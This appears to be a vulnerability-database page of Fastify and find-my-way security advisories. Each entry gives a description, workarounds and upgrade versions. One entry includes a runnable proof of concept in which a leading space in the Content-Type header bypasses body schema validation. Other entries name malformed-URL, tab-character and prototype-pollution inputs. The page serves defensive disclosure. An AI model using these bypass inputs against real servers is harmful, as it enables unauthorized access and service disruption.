Find, fix and prevent vulnerabilities in your code.

Overview

fastify is an overhead web framework, for Node.js.

Affected versions of this package are vulnerable to Authentication Bypass Using an Alternate Path or Channel via malformed URLs in the fourOhFour router in lib/four-oh-four.js. An attacker can reach an encapsulated not-found handler and bypass its preHandler by sending a malformed request target such as /public/%c0 to a sibling plugin prefix when no route matches the request method. Because the malformed URL is routed through the shared not-found dispatch path, Fastify can invoke the wrong plugin’s 404 handler and return its response without running the protected handler’s authentication hook. This breaks prefix-scoped not-found handling and exposes any data or behavior that the private fallback handler would normally guard.

Workarounds

• Reject malformed request targets before they reach the application, for example at an upstream proxy or gateway, to prevent malformed URLs from reaching encapsulated not-found handlers and bypassing their preHandler authentication hooks.
• Do not rely on a not-found handler to serve protected data, so a malformed URL cannot be used to obtain private fallback responses from a sibling plugin’s 404 handler.

Remediation

Upgrade fastify to version 5.12.2 or higher.

References

• GitHub Commit v5.12.2
• Maintainer's Advisory

Overview

fastify is an overhead web framework, for Node.js.

Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input via the schema.body.content when a space is prepended to the Content-Type header. An attacker can bypass input validation by sending requests with a leading space in the Content-Type header, causing the body to be parsed but skipping schema validation.

Note: Even though the vulnerability was fixed in version 5.3.2, that version introduced a regression, and a new vulnerability was caused by the fix (CVE-2026-33806). To be fully protected from both the original issue, recommand to upgrade to v5.8.5.

PoC

const fastify = require('fastify')({ logger: false });

fastify.post('/transfer', {
  schema: {
    body: {
      content: {
        'application/json': {
          schema: {
            type: 'object',
            required: ['amount', 'recipient'],
            properties: {
              amount: { type: 'number', maximum: 1000 },
              recipient: { type: 'string', maxLength: 50 },
              admin: { type: 'boolean', enum: [false] }
            },
            additionalProperties: false
          }
        }
      }
    }
  }
}, async (request) => {
  return { processed: true, data: request.body };
});

(async () => {
  await fastify.ready();

  // BLOCKED — normal request with invalid payload
  const res1 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': 'application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Normal:', res1.statusCode);
  // → 400 FST_ERR_VALIDATION

  // BYPASS — single leading space
  const res2 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': ' application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Leading space:', res2.statusCode);
  // → 200 (validation bypassed!)
  console.log('Body:', res2.body);

  await fastify.close();
})();

Remediation

Upgrade fastify to version 5.8.5 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release
• OpenJS Advisories

Overview

fastify is an overhead web framework, for Node.js.

Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input via the route schema handling in lib/route.js, lib/schemas.js, and lib/validation.js. An attacker can reach a route handler with arbitrary input by sending a request to an endpoint that uses false as a deny-all schema for body, querystring, params, headers, or the query alias. Because those schemas were treated as absent when evaluated for JavaScript truthiness, Fastify skipped validator compilation and let the request proceed to the handler, allowing unauthenticated access to routes that were intended to reject every request.

Workarounds

• Express a deny-all request schema with an always-failing object schema such as { "not": {} } instead of the boolean false, so the route still rejects requests before they reach the handler.
• Reject the request in an onRequest hook, so unauthenticated clients are blocked before route handling even if a request-part schema was defined with false.

Remediation

Upgrade fastify to version 5.12.2 or higher.

References

• GitHub Commit v5.12.2
• Maintainer's Advisory
• Red Hat Bugzilla Bug

Overview

fastify is an overhead web framework, for Node.js.

Affected versions of this package are vulnerable to Improper Validation of Unsafe Equivalence in Input due to incomplete schema case normalization in lib/validation.js when compiling header schemas. An attacker can bypass schema-enforced header dependencies by sending canonical-cased header names in a request while omitting the dependent header the schema is meant to require. Because Node.js stores request headers in lowercase, Fastify’s shallow normalization missed dependencies and nested subschemas, so assertions such as requiring X-Admin-Token when X-Admin is present never matched the incoming request headers. This lets a remote client reach privileged header-gated routes or actions without supplying the full set of headers the application intended to enforce.

Workarounds

• Inline the header schema instead of referencing it with an external $ref, so header names can be case-normalized and case-insensitive assertions like required and dependencies still apply.

Remediation

Upgrade fastify to version 5.12.2 or higher.

References

• GitHub Commit v5.12.2
• Maintainer's Advisory
• Red Hat Bugzilla Bug

Overview

fastify is an overhead web framework, for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict via the Content-Type header processing. An attacker can bypass body validation by appending a tab character (\t) and arbitrary content to the Content-Type header, causing the server to treat the body as the intended type without enforcing validation rules.

Note: This vulnerability affects all Fastify users who rely on Content-Type-based body validation schemas to enforce data integrity or security constraints.

Workaround

This vulnerability can be mitigated by implementing a custom onRequest hook to reject requests containing tab characters in the Content-Type header.

Remediation

Upgrade fastify to version 5.7.2 or higher.

References

• GitHub Commit
• GitHub PR
• Vulnerable Code
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Prototype Pollution in the lookup function when handling HTTP/2 requests. An attacker can cause the application to crash by sending specially crafted HTTP method values that exploit inherited object properties, leading to a denial of service.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade find-my-way to version 9.7.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

fastify is an overhead web framework, for Node.js.

Affected versions of this package are vulnerable to Incorrect Behavior Order: Early Validation through the request validation path in lib/validation.js. An attacker can replace the validated request body, or trigger a validation failure, by sending an $async schema-validated payload that includes attacker-controlled value or error properties. When a route uses an asynchronous request schema, Fastify processes the resolved validator result before the handler runs and can pass the handler a different body than the one that satisfied the schema. This can lead to unauthorized state changes or data disclosure in applications that trust the validated request body for business logic.

Workarounds

• Avoid $async request schemas.
• Perform the security-sensitive check in an onRequest or preHandler hook rather than relying on the schema-validated request part.
• Custom async validator compilers should throw or reject on failure instead of returning an { error } object.

Remediation

Upgrade fastify to version 5.12.2 or higher.

References

• GitHub Commit v5.12.2
• Maintainer's Advisory
• Red Hat Bugzilla Bug

Overview

fastify is an overhead web framework, for Node.js.

Affected versions of this package are vulnerable to Uncaught Exception via the reply.trailer function when handling HTTP/2 trailer responses. An attacker can cause the server process to crash and terminate all active requests by sending a single unauthenticated HTTP/2 request to any route that registers a response trailer. This can be repeated after each restart to continually disrupt service.

Workaround

This vulnerability can be mitigated by avoiding the registration of response trailers with reply.trailer on routes served over HTTP/2 until upgrading.

Remediation

Upgrade fastify to version 5.12.5 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• Vendor Advisory